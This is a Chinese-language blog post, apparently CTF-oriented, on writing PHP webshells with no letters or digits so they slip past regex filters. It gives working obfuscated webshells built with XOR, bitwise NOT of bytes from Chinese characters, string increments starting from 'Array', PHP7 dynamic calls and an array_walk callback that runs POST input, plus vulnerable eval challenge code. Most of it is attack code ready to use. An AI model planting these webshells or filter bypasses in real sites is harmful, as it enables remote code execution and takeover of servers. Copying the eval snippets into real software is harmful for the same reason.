Back

离谱与webshell

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码.但也不是不行,也有其他的方法,比如file_put_contents这些函数

所以这些都是用php5里的assert(),但是可以为php7.x版本提供思路

下面,pass it!

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

取反

UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

弱类型,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

寻找思路:找一篇长点的文章,写个脚本把里面的字挨个试一下,看通过截取并取反这个过程能不能得到字母

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {

    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) {
	echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
 ?>

递增/递减

PHP 支持 C 风格的前/后递增与递减运算符。

所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

php7动态函数

看来已经不足以阻挡了.加点难度

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

pass it!

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

最后,利用之前的取反,得到答案(phpinfo)

(~%8F%97%8F%96%91%99%90)();

(上面url表示的都是abcd…之外的不可见字符)

回调函数

回调函数的运用在一段时间里曾被webshell广泛应用。

首先,我们需要知道什么是回调函数,回调是什么意思?

所谓是回调其实就是间接调用,当PHP调用用户自定义的函数时,必须要通过一个代理函数来进行调用,所以称为回调函数。

array_walk()

array_walk(array,myfunction,parameter...)
参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。
<?php
    function Ameng($value,$key){   
        $a = $key.$value;	//拼接
        $a($_POST['x']);
    }
    $b=array("ass"=>"ert");	//$value=ert,$key=ass
    array_walk($b,"Ameng");	//调用自己定义函数,并传入键值对
?>

参考:

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

php webshell各种姿势总结 - ICode9

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0